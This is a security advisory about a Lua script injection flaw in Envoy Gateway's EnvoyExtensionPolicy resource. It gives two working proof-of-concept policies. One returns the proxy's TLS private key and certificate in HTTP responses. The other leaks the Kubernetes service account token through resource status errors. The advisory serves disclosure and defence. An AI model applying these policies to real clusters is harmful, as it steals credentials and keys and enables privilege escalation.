Envoy Extension Policy lua scripts injection causes arbitrary command execution

Impact

Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the EnvoyExtensionPolicy resource. Administrators can use Kubernetes RBAC to grant users the ability to create EnvoyExtensionPolicy resources. Lua scripts in policies are executed in two contexts:

• An EnvoyExtensionPolicy can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.
• Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes.

Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication.

For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates.

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: leak
  lua:
    - type: Inline
      inline: |
           function envoy_on_response(response_handle)
             local cert = io.open("/certs/tls.crt", "r")
             local content
             if cert then
                content = cert:read("*all")
                cert:close()
             else
                content = "file-not-found"
             end
             local keyfile = io.open("/certs/tls.key", "r")
             local contentkey
             if keyfile then
                contentkey = keyfile:read("*all")
                keyfile:close()
             else
                contentkey = "file-not-found"
             end
             local keypair = contentkey .. "\n" .. content
             response_handle:body():setBytes(keypair)
             response_handle:headers():replace("content-length", tostring(#keypair))
             response_handle:headers():replace("content-type", "text/plain")
           end

This execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following EnvoyExtensionPolicy will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status.

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: backend
  lua:
    - type: Inline
      inline: |
        function envoy_on_response(response_handle)
          local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
          local content
          if token then
             content = token:read("*all")
             token:close()
          else
             content = "file-not-found"
          end
          io.write(content)
          error(content)
        end